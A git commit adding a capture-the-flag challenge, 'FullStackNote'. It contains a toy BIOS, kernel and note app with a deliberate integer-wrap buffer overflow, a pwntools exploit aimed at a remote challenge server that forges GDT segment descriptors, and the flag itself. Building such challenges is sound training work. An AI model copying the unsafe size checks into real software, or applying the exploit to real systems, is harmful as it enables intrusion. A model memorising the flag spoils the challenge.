chals: add FullStackNote

This commit is contained in:
garulf 2024-12-03 14:24:04 +01:00
parent bc189fd0b2
commit 50eeae396e
9 changed files with 787 additions and 0 deletions

23
FullStackNote/Dockerfile Normal file
View file

@ -0,0 +1,23 @@
FROM debian:trixie-slim as qemu
ARG DEBCONF_NOWARNINGS="yes"
ARG DEBIAN_FRONTEND="noninteractive"
ARG DEBCONF_NONINTERACTIVE_SEEN="true"
RUN apt-get update && \
apt-get --no-install-recommends -y install \
qemu-system-x86
FROM pwn.red/jail as jail
COPY flag.txt /srv/app/
COPY sss /srv/app/
COPY run.sh /srv/app/run
WORKDIR /srv/app/
RUN dd if=flag.txt of=sss bs=1 conv=notrunc
COPY --from=qemu / /srv/
# jail configuration
ENV JAIL_TIME=30
ENV JAIL_CPU=100
ENV JAIL_PORT=1337
ENV JAIL_MEM=50M

17
FullStackNote/Makefile Normal file
View file

@ -0,0 +1,17 @@
all: sss
sss.elf: single.c script.ld
gcc -T script.ld -mno-sse -mno-sse2 -m32 -fstack-protector-explicit -nostdlib -ffreestanding -nodefaultlibs -fno-builtin -static -fno-pic -O0 -ggdb -o sss.elf single.c
sss: sss.elf
objcopy -O binary -j .kernel sss.elf kernel.bin
objcopy -O binary -j .bios -j .bios.reset_vector sss.elf bios.bin
objcopy -O binary -j .userspace -j .userspace.data sss.elf userspace.bin
touch sss
truncate -s $$((8*1024*1024)) sss
dd if=kernel.bin bs=1 of=sss seek=$$((0x800000-(0x100000000-0xfffff000))) conv=notrunc
dd if=bios.bin bs=1 of=sss seek=$$((0x800000-(0x100000000-0xffffff00))) conv=notrunc
dd if=userspace.bin bs=1 of=sss seek=$$((0x800000-(0x100000000-0xffffe000))) conv=notrunc
clean:
rm -f sss.o sss.elf sss

129
FullStackNote/exploit.py Executable file
View file

@ -0,0 +1,129 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./sss.elf
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or './sss.elf')
context.log_level = 'debug'
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak *0x{exe.entry:x}
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x1000)
# RWX: Has RWX segments
# Stripped: No
# Debuginfo: Yes
def create_seg_descriptor(base, limi):
seg = p16((limi >> 12) & 0xffff) #limit low
seg += p16(base & 0xffff) #base low
seg += p8((base >> 16) & 0xff) #base mid
stype = 2
s = 1
dpl = 0
p = 1
seg += p8(stype | (s << 4) | (dpl << 5) | (p << 7)) #flags
g = 1
db = 1
seg += p8(limi >> 16 & 0xf | g << 7 | db << 6) #flags
seg += p8(base >> 24) #base high
return seg
gdt = 0x1000000
kds_base = 0x1000000
utok_add = 0x100000
bytes_read = 127
ucs_off = 0x10
val = gdt - kds_base - utok_add - bytes_read + ucs_off
buf_read = 0x4f2c
flag_pos = 0x500000 * 4
if (val < 0):
val = val + 2**32
retaddr = 0x4e90
ds_base = 0x4ef4 + 0x1100000 - retaddr
#io = start()
#io = process('./run.sh')
#io = remote('localhost', 1337)
io = remote('37.27.204.218', 1337)
io.recvuntil('>')
io.sendline('1')
io.recvuntil('note?')
# io.send('A'*56)
# io.send(p32(flag_pos - ds_base))
# io.send(p32(exe.symbols['userspace_write']))
# io.sendline(cyclic(98-56-8))
io.sendline('D'*98)
io.recvuntil('>')
io.sendline('1')
io.recvuntil('note?')
io.sendline('B'*98)
io.recvuntil('>')
io.sendline('1')
io.recvuntil('note?')
io.send('CCCC')
io.send(p32(val))
# io.send('F'*56)
# io.send(p32(0x10))
# io.send(p32(flag_pos - ds_base))
# io.send(p32(exe.symbols['userspace_write']))
# io.send(b'G'*4)
# io.send(p32(0x10))
# io.send(p32(flag_pos - ds_base))
# io.sendline(cyclic(119-56-12-12))
io.sendline(cyclic(119))
io.recvuntil('>')
io.sendline('3')
io.recvuntil('remarks')
kds = create_seg_descriptor(flag_pos - 0x100000 - buf_read, 0xffffffff)
ds = create_seg_descriptor(ds_base, 0xfffff)
io.sendline(kds)
# io.send(p32(val))
# io.sendline(cyclic(128 - 1 - 4))
# io.recvuntil('Inserisci la tua nota:')
# io.sendline(cyclic(128))
# io.send('2')
# data = io.recvuntil('Esci')
# print(data)
# shellcode = asm(shellcraft.sh())
# payload = fit({
# 32: 0xdeadbeef,
# 'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)
io.interactive()

1
FullStackNote/flag.txt Normal file
View file

@ -0,0 +1 @@
HoD2024{n3w_st@ck_old_tr!cks}

13
FullStackNote/run.sh Executable file
View file

@ -0,0 +1,13 @@
#!/bin/sh
MEM_SIZE_MB=25
#run qemu with sss as BIOS and uart redirected to stdin
qemu-system-i386 \
-m ${MEM_SIZE_MB}M \
-machine q35 \
-bios sss \
-serial stdio \
-nographic \
-monitor none

57
FullStackNote/script.ld Normal file
View file

@ -0,0 +1,57 @@
FLASH_SIZE = 8 * 1024 * 1024;
FLASH_START = 0x100000000 - FLASH_SIZE;
MEM_SIZE = 128 * 1024 * 1024;
RESET_VECTOR = 0xfffffff0;
BIOS = 0xffffff00;
KERNEL = 0xfffff000;
USERSPACE = 0xffffe000;
OS_LOAD_ADDR = 0x10000;
OUTPUT_FORMAT("elf32-i386")
MEMORY
{
flash : ORIGIN = FLASH_START, LENGTH = FLASH_SIZE
ram : ORIGIN = 0x0, LENGTH = MEM_SIZE
}
SECTIONS
{
.kernel OS_LOAD_ADDR : AT (KERNEL) {
_kernel_start = LOADADDR(.kernel);
KEEP(*(.kernel*))
KEEP(*(.kernel.*))
_kernel_end = LOADADDR(.kernel) + SIZEOF(.kernel);
}
.userspace 0x0 : AT (USERSPACE) {
_userspace_start = USERSPACE;
KEEP(*(.userspace.text))
_userspace_end = USERSPACE + SIZEOF(.userspace);
}
.userspace.data 0x1000 : AT (USERSPACE + SIZEOF(.userspace)) {
_userspace_data_start = LOADADDR(.userspace.data);
KEEP(*(.rodata))
_userspace_data_end = LOADADDR(.userspace.data) + SIZEOF(.userspace.data);
}
.bios BIOS : {
KEEP(*(.bios.gdt))
KEEP(*(.bios.gdt_ptr))
KEEP(*(.bios.text))
KEEP(*(.bios.jmp_pm))
} > flash
.bios.reset_vector RESET_VECTOR : {
KEEP(*(.bios.reset_vector))
FILL(0xab);
. = ABSOLUTE(0x100000000);
foo = .;
} > flash
/DISCARD/ : {
*(.eh_frame) *(.comment) *(.note) *(.note.*) *(.note_*)
}
}

547
FullStackNote/single.c Normal file
View file

@ -0,0 +1,547 @@
/* BIOS-OS-APP note - a BIOS, an OS and an app to take a note */
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
#define GDT_CODE 0xB
#define GDT_DATA 0x2
#define GDT_TSS 0x9
#define GDT_CALL_GATE 0xC
#define FLAG_FLASH_ADDR 0xff800000
#define FLAG_ADDRESS 0x1400000
#define STACK_START 0x1000
#define USER_STACK 0x5000
#define GDT_BASE 0x1000000
#define TSS_BASE 0x1000100
#define KERNEL_CODE_BASE 0x0
#define KERNEL_CODE_LIMIT 0x200000
#define KERNEL_DATA_BASE 0x1000000
#define KERNEL_DATA_LIMIT 0x200000
#define USER_CODE_BASE 0x200000
#define USER_CODE_LIMIT 0x100000
#define USER_DATA_BASE 0x1100000
#define USER_DATA_LIMIT 0x100000
#define USER_RODATA (USER_DATA_BASE + 0x1000)
#define KERNEL_CS 0x08
#define KERNEL_DS 0x10
#define USER_CS 0x18
#define USER_DS 0x20
#define TSS_SEG 0x28
#define READ_GATE 0x30
#define WRITE_GATE 0x38
#define EXIT_GATE 0x40
#define UART_BASE 0x3F8
#define UART_THR (UART_BASE + 0)
#define UART_RBR (UART_BASE + 0)
#define UART_LCR (UART_BASE + 3)
#define UART_DLL (UART_BASE + 0)
#define UART_DLH (UART_BASE + 1)
#define UART_LSR (UART_BASE + 5)
#define UART_FCR (UART_BASE + 2)
#define BOOT_CS 0x08
#define BOOT_DS 0x10
#define KERNEL_LOAD_ADDR 0x10000
#define SEGMENT_INIT(base, limit, _type, _s, _dpl) \
{ \
.limit_low = (limit) & 0xFFFF, .base_low = (base) & 0xFFFF, \
.base_mid = ((base) >> 16) & 0xFF, .type = (_type), .s = (_s), \
.dpl = (_dpl), .p = 1, .limit_high = ((limit) >> 16) & 0x0F, .avl = 0, \
.rsvd = 0, .db = 1, .g = 1, .base_high = ((base) >> 24) & 0xFF \
}
#define IO_WRITE(byte, port) \
asm volatile("outb %b0, %1" : : "a"(byte), "d"(port))
#define IO_READ(port, byte) \
asm volatile("inb %1, %0" : "=a"(byte) : "d"(port))
#define IO_WRITE16(port, word) \
asm volatile("outw %w0, %w1" : : "a"(word), "d"(port))
#define APP_ADDR_TO_KERNEL_ADDR(X) ((u8*)X + 0x100000)
extern u8 _kernel_start[];
extern u8 _kernel_end[];
extern u8 _userspace_start[];
extern u8 _userspace_end[];
extern u8 _userspace_data_start[];
extern u8 _userspace_data_end[];
struct gdt_seg {
u16 limit_low;
u16 base_low;
u8 base_mid;
u8 type : 4;
u8 s : 1;
u8 dpl : 2;
u8 p : 1;
u8 limit_high : 4;
u8 avl : 1;
u8 rsvd : 1;
u8 db : 1;
u8 g : 1;
u8 base_high;
} __attribute__((packed));
struct gdt_ptr {
u16 limit;
u32 base;
} __attribute__((packed));
struct tss_desc {
u32 r1;
u32 esp0;
u32 ss0;
u32 r2[2];
u32 esp1;
u32 ss1;
u32 r3[2];
u32 esp2;
u32 ss2;
u32 r4[2];
u8 unused[76];
} __attribute__((packed));
struct callgate_desc {
u16 offset_low;
u16 selector;
u8 param_count;
u8 type : 4;
u8 zero : 1;
u8 dpl : 2;
u8 p : 1;
u16 offset_high;
} __attribute__((packed));
__attribute__((section(".bios.gdt"))) struct gdt_seg bios_gdt[] = {
SEGMENT_INIT(0x0, 0x0, 0x0, 0, 0),
SEGMENT_INIT(0x0, 0xFFFFFFFF, 0xB, 1, 0),
SEGMENT_INIT(0x0, 0xFFFFFFFF, 0x2, 1, 0),
};
__attribute__((section(".bios.gdt_ptr")))
struct gdt_ptr gdtr = {
.limit = sizeof(bios_gdt) - 1,
.base = 0xffffff00,
};
__attribute__((section(".bios.text")))
void bios_uart_init(void) {
/* setup the UART0 with baud 115200 8N1 */
IO_WRITE(0x80, UART_LCR);
IO_WRITE(0x01, UART_DLL);
IO_WRITE(0x00, UART_DLH);
IO_WRITE(0x03, UART_LCR);
IO_WRITE(0xC7, UART_FCR);
}
void kernel_run(void);
__attribute__((section(".bios.text")))
void bios_start(void) {
u8 *os, *os_origin;
u32 os_size;
u32 i;
bios_uart_init();
os = (u8*)KERNEL_LOAD_ADDR;
os_origin = _kernel_start;
os_size = _kernel_end - _kernel_start;
for (i = 0; i < os_size; i++) {
os[i] = os_origin[i];
}
kernel_run();
}
__attribute__((section(".bios.jmp_pm"), naked))
void bios_enable_protected(void) {
asm volatile(
".code16\n"
"cli\n"
"mov %[GDT], %%bx\n"
"lgdtl %%cs:(%%bx)\n"
"mov %%cr0, %%eax\n"
"or $0x01, %%eax\n"
"mov %%eax, %%cr0\n"
"ljmpl %[CODE_SEL],$1f\n"
"1:\n"
".code32\n"
"mov %[DATA_SEL], %%ax\n"
"movw %%ax, %%ds\n"
"movw %%ax, %%ss\n"
"mov %[STACK], %%esp\n"
"jmp bios_start\n"
:
: [GDT] "i"(&gdtr), [STACK] "i"(STACK_START), [DATA_SEL] "i"(BOOT_DS), [CODE_SEL] "i"(BOOT_CS)
: "eax");
}
/* where everything starts */
__attribute__((section(".bios.reset_vector"), naked))
void reset_vector(void) {
asm volatile(".code16\n"
"jmp bios_enable_protected\n"
".code32\n");
}
__attribute__((section(".kernel.text")))
void kernel_uart_tx(u8 byte) {
u8 status;
do {
IO_READ(UART_LSR, status);
} while ((status & 0x20) == 0);
IO_WRITE(byte, UART_THR);
}
__attribute__((section(".kernel.text")))
u8 kernel_uart_rx(void) {
u8 status;
do {
IO_READ(UART_LSR, status);
} while ((status & 0x01) == 0);
IO_READ(UART_RBR, status);
return status;
}
__attribute__((section(".kernel.text")))
void kernel_uart_write(const char *buf, u32 len) {
u8 *ubuf;
ubuf = APP_ADDR_TO_KERNEL_ADDR(buf);
while (len--) {
kernel_uart_tx(*ubuf++);
}
}
__attribute__((section(".kernel.text")))
int kernel_uart_read(char *buf, u32 buf_size) {
u8 *ubuf;
char c;
int i = 0;
ubuf = APP_ADDR_TO_KERNEL_ADDR(buf);
while (i < buf_size) {
c = kernel_uart_rx();
if (c == '\n' || c == '\r')
break;
ubuf[i] = c;
i++;
}
return i;
}
__attribute__((section(".kernel.text")))
void kernel_write_gdt_segment(struct gdt_seg *s, u32 base, u32 limit, u8 type, u8 dpl) {
limit = limit >> 12;
s->limit_low = limit & 0xFFFF;
s->limit_high = (limit >> 16) & 0x0F;
s->base_low = base & 0xFFFF;
s->base_mid = (base >> 16) & 0xFF;
s->base_high = (base >> 24) & 0xFF;
s->type = type;
s->dpl = dpl;
s->p = s->db = s->g = 1;
s->s = (type == GDT_TSS) ? 0 : 1;
s->avl = s->rsvd = 0;
}
__attribute__((section(".kernel.text")))
void kernel_memset(void *dest, u8 byte, int len) {
u8 *p = (u8 *)dest;
while (len--) {
*p++ = byte;
}
}
__attribute__((section(".kernel.text"), naked))
void sys_read() {
asm volatile("pushl %%ebx\n"
"pushl %%eax\n"
"mov %[KDATA_SEL], %%ax\n"
"mov %%ax, %%ds\n"
"mov %%ax, %%es\n"
"call kernel_uart_read\n"
"mov %%eax, %%ebx\n"
"mov %[UDATA_SEL], %%ax\n"
"mov %%ax, %%ds\n"
"mov %%ax, %%es\n"
"mov %%ebx, %%eax\n"
"add $8, %%esp\n"
"retfl\n"
:
: [KDATA_SEL] "i" (KERNEL_DS), [UDATA_SEL] "i" (USER_DS)
: "eax", "ebx");
}
__attribute__((section(".kernel.text"), naked))
void sys_write() {
asm volatile("pushl %%ebx\n"
"pushl %%eax\n"
"mov %[KDATA_SEL], %%ax\n"
"mov %%ax, %%ds\n"
"mov %%ax, %%es\n"
"call kernel_uart_write\n"
"mov %%eax, %%ebx\n"
"mov %[UDATA_SEL], %%ax\n"
"mov %%ax, %%ds\n"
"mov %%ax, %%es\n"
"mov %%ebx, %%eax\n"
"add $8, %%esp\n"
"retfl\n"
:
: [KDATA_SEL] "i" (KERNEL_DS), [UDATA_SEL] "i" (USER_DS)
: "eax", "ebx");
}
__attribute__((section(".kernel.text"), naked))
void sys_exit() {
asm volatile("hlt\n");
}
__attribute__((section(".kernel.text")))
void kernel_load_application(void)
{
u8 *dst, *start;
u32 size;
u32 i;
dst = (u8*)USER_CODE_BASE;
start = _userspace_start;
size = _userspace_end - _userspace_start;
for (i = 0; i < size; i++) {
dst[i] = start[i];
}
dst = (u8*)USER_RODATA;
start = _userspace_data_start;
size = _userspace_data_end - _userspace_start;
for (i = 0; i < size; i++) {
dst[i] = start[i];
}
}
/* we need isolation! let's kernel and user application have different memory segments */
__attribute__((section(".kernel.text")))
struct gdt_seg *kernel_setup_segmentation(struct gdt_seg *gdt)
{
/* null segment */
kernel_memset(gdt, 0, sizeof(struct gdt_seg));
gdt++;
kernel_write_gdt_segment(gdt, KERNEL_CODE_BASE, KERNEL_CODE_LIMIT, GDT_CODE, 0);
gdt++;
kernel_write_gdt_segment(gdt,KERNEL_DATA_BASE, KERNEL_DATA_LIMIT, GDT_DATA, 0);
gdt++;
kernel_write_gdt_segment(gdt, USER_CODE_BASE, USER_CODE_LIMIT, GDT_CODE, 3);
gdt++;
kernel_write_gdt_segment(gdt, USER_DATA_BASE, USER_DATA_LIMIT, GDT_DATA, 3);
gdt++;
return gdt;
}
__attribute__((section(".kernel.text")))
struct gdt_seg *kernel_setup_tss(struct gdt_seg *gdt)
{
struct tss_desc *tss;
tss = (struct tss_desc *)TSS_BASE;
kernel_memset((void *)tss, 0, sizeof(struct tss_desc));
tss->ss0 = KERNEL_DS;
tss->esp0 = STACK_START;
tss->ss2 = USER_DS;
tss->esp2 = USER_STACK;
kernel_write_gdt_segment(gdt, TSS_BASE, sizeof(struct tss_desc), GDT_TSS, 0);
gdt++;
return gdt;
}
__attribute__((section(".kernel.text")))
void kernel_write_callgate_segment(struct gdt_seg *gdt, u32 syscall)
{
struct callgate_desc *call;
call = (struct callgate_desc *)gdt;
call->offset_low = syscall & 0xFFFF;
call->offset_high = syscall >> 16;
call->selector = KERNEL_CS;
call->param_count = 0x0;
call->type = GDT_CALL_GATE;
call->dpl = 3;
call->p = 1;
}
__attribute__((section(".kernel.text")))
struct gdt_seg *kernel_setup_syscalls(struct gdt_seg *gdt)
{
struct callgate_desc *call;
/* call gate: read 0x30 */
kernel_write_callgate_segment(gdt, (u32)sys_read);
gdt++;
/* call gate: write 0x38 */
kernel_write_callgate_segment(gdt, (u32)sys_write);
gdt++;
/* call gate: write 0x40 */
kernel_write_callgate_segment(gdt, (u32)sys_exit);
gdt++;
return gdt;
}
__attribute__((section(".kernel.text")))
void kernel_load_gdt_and_run_application(struct gdt_seg *gdt)
{
struct gdt_ptr gdtr;
gdtr.limit = (u32)gdt - GDT_BASE - 1;
gdtr.base = GDT_BASE;
asm volatile("lgdt %[GDT]\n"
"mov %[TSS], %%ax\n"
"ltr %%ax\n"
"mov %[DATA_SEL], %%ax\n"
"movw %%ax, %%ds\n"
"movw %%ax, %%es\n"
"pushl %[STACK_SEL]\n"
"pushl %[U_STACK]\n"
"pushl %[CODE_SEL]\n"
"pushl $user_app\n"
"retfl\n"
:
: [GDT] "m"(gdtr), [U_STACK] "i"(USER_STACK), [STACK_SEL] "i"(USER_DS | 0x3), [CODE_SEL] "i"(USER_CS | 0x3), [DATA_SEL] "i"(USER_DS), [TSS] "i"(TSS_SEG)
: "eax");
}
__attribute__((section(".kernel.text")))
void copy_flag(void) {
char *flag_dst = (char*)(FLAG_ADDRESS);
char *flag_src = (char*)FLAG_FLASH_ADDR;
while (*flag_src) {
*flag_dst++ = *flag_src++;
}
}
__attribute__((section(".kernel.text")))
void kernel_run(void) {
struct gdt_seg *gdt;
copy_flag();
kernel_load_application();
gdt = (struct gdt_seg *)GDT_BASE;
gdt = kernel_setup_segmentation(gdt);
gdt = kernel_setup_tss(gdt);
gdt = kernel_setup_syscalls(gdt);
kernel_load_gdt_and_run_application(gdt);
}
__attribute__((section(".userspace.text")))
int userspace_read(char *buf, int nbytes) {
int len;
asm volatile("mov %[_buf], %%eax\n"
"mov %[_nbyte], %%ebx\n"
"call %[GATE],$0x0\n"
"mov %%eax, %[_len]\n"
: [_len] "=m"(len)
: [_buf] "m"(buf), [_nbyte] "m"(nbytes), [GATE] "i"(READ_GATE)
: "eax", "ebx");
return len;
}
__attribute__((section(".userspace.text")))
void userspace_exit() {
asm volatile("call %[GATE],$0x0\n"
:
:[GATE] "i"(EXIT_GATE)
:);
}
__attribute__((section(".userspace.text")))
void userspace_write(const char *buf, int nbytes) {
/* my stack my call convention */
asm volatile("mov %[_buf], %%eax\n"
"mov %[_nbyte], %%ebx\n"
"call %[GATE],$0x0\n"
:
: [_buf] "m"(buf), [_nbyte] "m"(nbytes), [GATE] "i"(WRITE_GATE)
: "eax", "ebx");
}
__attribute__((section(".userspace.text")))
int strlen(const char *str) {
int len = 0;
while (*str++) {
len++;
}
return len;
}
__attribute__((section(".userspace.text")))
void puts(const char *str) {
userspace_write(str, strlen(str));
}
__attribute__((section(".userspace.text")))
void memcpy(char *dst, const char *src, int len) {
while (len--) {
*dst++ = *src++;
}
}
__attribute__((section(".userspace.text")))
void print_menu(void)
{
puts("1. Write note\n");
puts("2. Read note\n");
puts("3. Write final remarks\n");
puts(">\n");
}
__attribute__((section(".userspace.text")))
void user_app(void) {
struct my_notebook {
char data[200];
char *ptr;
u8 used;
} notebook;
notebook.ptr = notebook.data;
notebook.used = 0;
char buf[128];
u8 bytes_read;
u8 new_size;
puts("HoD Notebook Taker!\n");
while (1) {
print_menu();
bytes_read = userspace_read(buf, 2);
if (bytes_read == 0) {
continue;
}
switch (buf[0]) {
case '1':
puts("what to note?\n");
bytes_read = userspace_read(buf, sizeof(buf));
new_size = notebook.used + bytes_read;
if (new_size >= sizeof(notebook.data)) {
puts("No space left\n");
break;
}
memcpy(notebook.ptr, buf, bytes_read);
notebook.ptr += bytes_read;
notebook.used += bytes_read;
break;
case '2':
puts("Read note\n");
userspace_write(notebook.data, notebook.used);
puts("\n");
break;
case '3':
puts("Write final remarks\n");
bytes_read = userspace_read(notebook.ptr, sizeof(notebook.data) - notebook.used);
notebook.used += bytes_read;
puts("Here is your note:\n");
userspace_write(notebook.data, notebook.used);
puts("\nexit\n");
userspace_exit();
}
}
}

BIN
FullStackNote/sss Normal file

Binary file not shown.

BIN
FullStackNote/sss.elf Executable file

Binary file not shown.